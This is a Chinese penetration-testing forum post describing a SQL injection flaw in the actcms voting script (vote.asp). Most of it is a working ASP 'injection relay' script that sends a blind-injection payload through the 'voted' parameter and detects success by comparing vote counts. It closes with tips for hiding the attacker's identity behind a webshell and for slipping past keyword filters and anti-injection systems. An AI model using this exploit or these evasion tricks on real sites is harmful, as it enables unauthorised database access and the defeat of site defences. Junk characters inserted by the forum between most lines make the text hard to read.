中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
+ g: N$ A- E; k/ ^! t
看到ninty大牛的blog的一篇文章
9 m+ t/ s0 A* T% e* n4 {
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
# K( e$ Y, W; e; L$ k5 ]
关于actcms漏洞的利用 by 3x qq:381862589
2 o* @8 s0 Q4 Q
转载请注明以上
! O) L0 {) g& H# d# q: M- `7 a
漏洞文件:
8 q; E6 r/ f; ?' V0 x+ h
/plus/vote/vote.asp
G+ W+ T! B, m0 X# E) |
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
: s! w* S2 D# x% Y
$ T2 X; C' F$ t% H1 W% Q0 c
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
4 }) I$ B' b* p2 i
9 h: d% O8 Y) }- N+ `; A( N6 S
3 response.end
9 z- P" n" D% l$ X/ S
( G' H4 v* ~; i8 X @. D
4 end if
& b- l e" T+ @. Z0 x. K( X% o- |$ U
. }- r* [# b6 a' v) [# n# u
5 for i=1 to request("voted").count
; \/ }! @3 N" _) A& P- Y: M% m
4 Q' X' M+ p. n& r0 O: S
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
+ ]/ b9 p5 L& g! O% O% e
8 A3 Q8 Z( M; Y1 y) p& w
7 next
' X& ]% `+ \6 k$ @/ p! ^
7 A- M/ w2 E5 {+ [
8....
- a* ^% l6 Y4 y( |& K
( X( l$ e* a% o4 V- R
9response.Redirect "index.asp?id="&id&""
" o, L0 o6 y& r- L( J% T
投票结束回跳转回index.asp这个投票结果页面
$ U- @, K1 ^; Z% \
如果投票成功票数加1
1 k6 n% R- f! `* |( c, t: k
失败票数不变
+ u) h! i3 A m' s' C- d
如图:
" c( X: Z! t( {0 `3 U; l
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
( g) y0 J, f! e6 C* C
, V, D n9 S9 t+ p7 i
2009-12-27 13:20
7 Q( G# W4 h# _; [, j L
7 @# H9 I/ o% [4 \
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
$ C1 Y3 N( I* O$ f. M: F: e1 X) Y
' X$ ]+ V, P+ p E8 D
本帖隐藏的内容需要回复才可以浏览
- N8 w- P' s) c- K
我们用注入中转来实现这个注入具体代码如下:
9 y, I; a* q: m
先用寂寞的刺猬大牛的注入中转生成jmget.asp
, ]' {" J! Y; @0 _6 B: T8 A9 N$ B
注入地址:http://localhost/actcms/plus/vote/vote.asp
/ m( k4 X% a6 Y& L: d. V' P
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
( Y( q" j% E9 e
& c W% E& I5 z+ T& w8 |! E
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
5 x O; G5 g1 f* u/ Y
7 ^5 _% @% p! b' \9 l% `
02JmdcwName=request("jmdcw")
4 ^% |3 y! _% u
' k3 t5 D- u" t, p q
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
N% Q2 z* N5 q, [
6 A' }6 i2 [8 s- g
04JmStr="id=1&voted=-1 or 1="&JmdcwName
@) p' U; h4 m. t) } C6 x9 j
4 r( \% i; Y: Y4 z1 b1 E b1 y
05JmStr=URLEncoding(JmStr)
# V2 A# s5 Y" e3 s9 ]8 [6 Z7 d
, k: V" j) j9 s5 T' Q4 \: q9 y0 N
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
3 n( t# e5 w2 ^# i; R
$ O- i) @6 J1 i3 I6 P
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
& }* F+ S+ |: B8 n2 a% `- B
C/ [& e6 q" |
08testurl=testurl & "?" & JmStr
" g* M' X6 B/ v# p
2 [! O+ I6 N8 k3 b) S
09JMUrl=JMUrl & "?" & JmStr
' k- x2 I$ w# P7 y0 D
- A) u$ F3 ~, s7 C: S
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
+ N/ Y" ?& Q) k9 I8 F8 o
) m, _' K I7 A7 I; q7 Q- c. {
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
" P7 B. C' C$ \ P
: F; H2 e- z. ^) ~8 B
12JmCok=replace(JmCok,chr(32),"%20")
8 z/ N) |5 P3 m- E# s
8 Q4 [5 i: |6 u% v% x0 l
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
+ h/ Z3 d3 I- G8 Q: Q+ E
& {7 L, O% G" C3 |4 i3 R2 u
14
7 r X& @& Z9 }8 G* F" j
& j( \6 r+ E7 b1 l
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
S( V" \* N. D% v
# j7 O4 b: ^5 W/ ?( h" X/ E" @
16
# A) G/ e7 V# B% |* ^8 I5 B
& Q- e3 V1 ?7 S2 h0 L2 L) J
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
! P" f- c+ [ z% Z1 m3 x
% H" ?$ t; ^8 _
18response.write test1&""&test2&""
+ t2 ^1 a5 h; u2 S0 N! m. J8 N' k
2 ]2 b$ r0 B2 }' z9 y
19
3 ` x- R* ~$ ~, S) E1 R; @ g
. F! a F3 n/ m& {/ S) w
20if test1=test2 then '如前后记录相等,表示失败
! Y& _; \' r. s6 h% t$ b
) J# E$ c: k% X7 p4 A% [
21 response.write "failed"
! {, i) B7 E6 \; d
; k7 H; b! [# [: X7 A6 U8 w* O
22else
/ |9 c; U+ x; [: @4 I: Q
9 x' K+ E' k6 u
23 response.write "succeed"
! Z0 F) u- g, k4 B
3 a$ X. p5 v+ s7 i
24end if
/ s0 i p$ H2 B2 ^7 v$ o/ h
* O% Z! f4 x- g6 B# K
25
% M7 n& l2 s, @0 `7 ^
3 V/ F w- Y% u, k# Y' s
26response.write "by 3x"
8 Q3 s, }5 ~4 W
0 a0 C( l$ o9 y
27
6 [4 ^% }2 A7 j3 Z6 O+ g. M g4 p$ ~
1 i. M# |: r3 T f8 ?3 H
28
( p1 K! {3 m8 \7 U' p+ v6 R
% ?. r6 \( _# J" j$ I' d9 Y
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
5 a" N5 j* h1 a s, x
# e' Q# p; _8 K7 S3 ^, s* [
30Dim Http
' }8 B' ]& {. \! H& O4 z
3 U+ l7 F7 K* L( I/ O) ]$ l
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
8 N" A, s- b6 @% k& Y
* K! U. s0 r* n7 P6 E f/ [
32With Http
6 M' V. Q* P C6 o6 c H
* L ]* U1 r9 L6 M) Y1 J2 \
33
; R5 c2 \( z! T# n+ i
: H! ~4 Z, |) i; j
34.Open "GET",PostUrl,False
, a! g& k* B, q
. O+ m7 a" p$ e
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
1 o0 f2 x2 l9 e) P6 L* }: e* @ k
7 Q$ g, I L- q: q( @. g; l' [$ u
36.SetRequestHeader "Referer",PostRef
4 l3 V2 i# F( g2 p8 X) d7 V8 a
) ]8 F2 p. j, D3 p6 F
37.SetRequestHeader "Cookie",PostCok
s; H! g/ M" ~" L# X5 L
+ h# v; V! O6 Z, H& @; y/ o A% a
38.Send ()
. y d& o {' f* y9 }% ?
4 f+ w, g- \$ U
39PostData = .ResponseBody
! B0 s2 Q! ^4 ~# V5 }
; K( ?4 W' [9 }; d$ I
40End With
& k9 G3 t/ A& P9 X* }
8 q% a' _- R; N' }1 Z
41Set Http = Nothing
8 L! k: f6 j% l* s
# t$ C) E9 N- k- X+ `+ O
42PostData =bytes2BSTR(PostData)
, i: s2 i% f% p
: X) K; e& j& B) i
43End Function
2 t9 f. s: F& r
" O, s, @- v0 `- G" i1 f
44
; m! p: ]8 L1 U6 e' f% c: r
' r8 G; ]. |# }3 v0 e) v/ S# W2 a1 K R
45
1 M. ^- O$ ]% o8 T+ \
7 ~0 |5 |' G$ t6 y8 f* I
46Function bytes2BSTR(vIn)
" K- g3 \; d1 X/ M
& E) O* L8 g8 N: Q _
47Dim strReturn
5 A$ X; V( t; Y3 A+ Y4 @
; v! u% I4 E$ d( y/ `+ q3 u
48Dim I, ThisCharCode, NextCharCode
i) n+ |) w1 W/ s& w
! f5 }2 Z3 o( S/ d& v
49strReturn = ""
( `2 `8 e! ?# K7 B
; y$ B+ C% s9 Q" {* }
50For I = 1 To LenB(vIn)
' P! n' @6 ?9 A# f" I8 |
- r6 U$ y6 @) g X k
51ThisCharCode = AscB(MidB(vIn, I, 1))
9 x4 d* W$ s2 Y
& k- G n( Y* i! X( }
52If ThisCharCode < &H80 Then
+ \7 Y, z3 M* K, O$ V* o
# G' U% i8 r1 [7 @6 w
53strReturn = strReturn & Chr(ThisCharCode)
+ O5 U+ P9 A5 b- Q
5 P$ j6 ]! k% V" a& c' R6 V
54Else
9 Z* \+ f% X- o3 _1 q
: b3 {7 z1 E" X
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
3 s- m C! U$ D$ n9 C
( J; I' W: A8 M2 F/ q+ o' _
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
0 x; F1 Q2 e4 \2 H
( a/ ]; ?* j/ v: S" w+ p
57I = I + 1
( D# K8 h: E% o2 F0 n8 \9 U
8 x" m) y; H' e: A; D4 J7 ]
58End If
3 O, h; d0 h) R7 F! V
, ]2 D) y* E; b2 p) {( u1 c* P* r
59Next
0 p. ?4 `$ ~' {, d7 o, X7 z. F' [
- W D- c9 d+ r' A
60bytes2BSTR = strReturn
* y" S# m- C+ f; @5 }
8 B, p9 X4 x8 R* b2 N: i$ I
61End Function
2 P1 K) W' L! y- g
1 H3 k1 n. I, _& T$ O4 V# [
62
8 P" U3 B; A9 X9 }. ]& X, R) x9 S
% S/ i6 M' N: O! ?
63Function URLEncoding(vstrin)
% X, \4 g7 e$ W
; V" P. H9 K) S& h1 b3 l9 x- S
64strReturn=""
2 D. R! \9 |! c7 v( c( g* [
8 W# t8 T5 `! d- r
65Dim i
1 M, n8 d- E" Y. f6 L% L; N
! y. Q ^+ a7 L7 _/ R/ ~
66For i=1 To Len(vstrin)
# F! n Z" |: o) a4 \/ a7 G
, O4 L1 R: V' v2 H! j& K4 K1 q6 L
67ThisChr=Mid(vstrin,i,1)
/ K# {0 g) O/ E, X% D1 I
' e( Z) C8 c- n/ F+ ^% A- c
68if Abs(Asc(ThisChr))< &HFF Then
/ }3 a0 V6 e7 A8 U' ?7 m; R h# X
0 P4 U8 j1 d8 J1 V0 k! S, y& n
69strReturn=strReturn & ThisChr
+ D& F; t; Q8 ?0 @6 [0 {5 ^
8 R" M: O( X5 }' r
70Else
2 H S5 o& N* q- A& |; Z0 w5 }
) f. j$ v) i5 X( P4 j8 C
71InnerCode=Asc(ThisChr)
. y2 D0 U/ g5 i2 K6 {
1 k) ?" R2 z1 Y, n8 N# W& f
72If InnerCode<0 Then
+ n( H9 }! s0 T; g; C% U
9 H, T6 {9 v$ M9 W) O6 L
73InnerCode=InnerCode + &H10000
' E0 v( f( \ ], _% F2 \ S1 S: i
! c# O i$ e9 b& F: T
74End If
! R: v4 B/ m+ Y9 H7 _( s5 v9 i# K
/ G* ~% j3 x) n7 P r) ]
75Hight1=(InnerCode And &HFF00) \&HFF
5 o3 e: O" c+ ]( K5 t9 x& o5 ]2 \
9 G' J4 r3 Z* K. d; u0 d0 s5 G6 W
76Low1=InnerCode And &HFF
, L q, |* c4 M+ x
; l/ l& }: g8 M& B1 w' c* m
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
) s4 ?. M: O+ |
8 S6 Z; l: u$ U5 }9 i
78End if
$ l q6 w5 I7 m" v3 ?
) o* w' t0 C% K- ~+ T# ^, B$ y
79Next
( S9 Y* a8 @8 h0 K- c
6 U% l5 F `$ V" Y6 a
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
% b+ g- C: j2 U1 [. R& x2 r
) N* j9 x5 ~- f5 B
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
* u# C* ?% h, `& N2 Q, d V% x
9 u% t8 w/ W ?9 p3 l- S' J) b
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
! ~2 x/ ?9 s i: G- i
: t R: a9 U/ [/ @# J6 N& ?
83URLEncoding=strReturn
! t6 i9 f6 Y4 z/ _( G& }( `9 `
+ y3 y; E. p( S" ?
84End Function
/ I1 A8 s6 `, A g3 W1 b" E
& r, n1 w1 V0 L
85
& o- m4 s6 R( T( q1 v9 m1 e( o' w
; f: D. v, y# c- _4 I5 M* }6 f' ~
86function getSt(body)
, T% B- C; C* O* e! n. z( |
6 u8 F: J/ U+ Z2 Q' \
87 startpot=instr(body,"投票人数:")+len("投票人数:")
' T- W4 i5 r' A4 I7 g! _4 ]+ R ?9 e
6 v' E+ l1 i8 p
88 endpot=instr(startpot,body," ")
* p6 |! k; D3 b
7 }) L5 \; ^$ J' y5 {2 S
89 getSt=mid(body,startpot,endpot-startpot)
3 O- X* ~' G6 K- n$ ]/ y
; y% y% l8 s: {1 W5 h$ m9 y
90end function
$ s/ g, \* m/ U' w s
% f1 ~8 ^( A4 X% I
91%>
) f( s9 u k! j" A6 |& p7 o' j
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
0 Z; K. Z5 c8 O. P/ u6 |# R7 O0 |
测试下效果:
2 M& s. i; i/ i1 [+ d
投票成功:
# I3 j* U! P$ m, V* ^
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
/ p. ^# z* K+ N6 [
9 B- n9 Q9 h4 K9 K( X3 d
2009-12-27 13:29
' l/ \1 n8 l! r& [- Z
投票失败
; P h8 H1 B! Q% l+ ~7 a) {+ J
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
4 ^1 L+ F0 w. w% e0 N
1 n ^% r6 S% L, \
2009-12-27 13:29
2 _% `1 k* e& _4 _# G
-------------------------------------------------------------------------------
/ Y( N$ O) ?, s/ s' m2 h' D
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
4 v) Q2 Z) n9 T9 G
很抱歉。。。只能用单线程工具去注入。。。。。
2 F4 ]5 i/ y$ P. H! J! A9 s
所以失败。。。不好意思。。。
1 d3 z) ?8 {% K" { I* P
-------------------------------------------------------------------------------
7 O, X- Z$ j+ z0 p
) C! k: {8 H M) h- n z$ m7 `) X
注入中转的一些其他应用
( ?% m( d: k9 F+ D- i
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 I% C2 _' z7 B4 V% D6 t
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
8 j: G8 e; V0 P5 S: M( w* E) u. H
2.post注入转成get型的注入,方便我们使用工具来跑
9 \6 A% g; ^ x) m
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
1 Y$ s ~$ V- r& X- Q# w
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
2 O v0 L7 f1 F+ @. |, X0 O
- l/ Y" P- w" z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2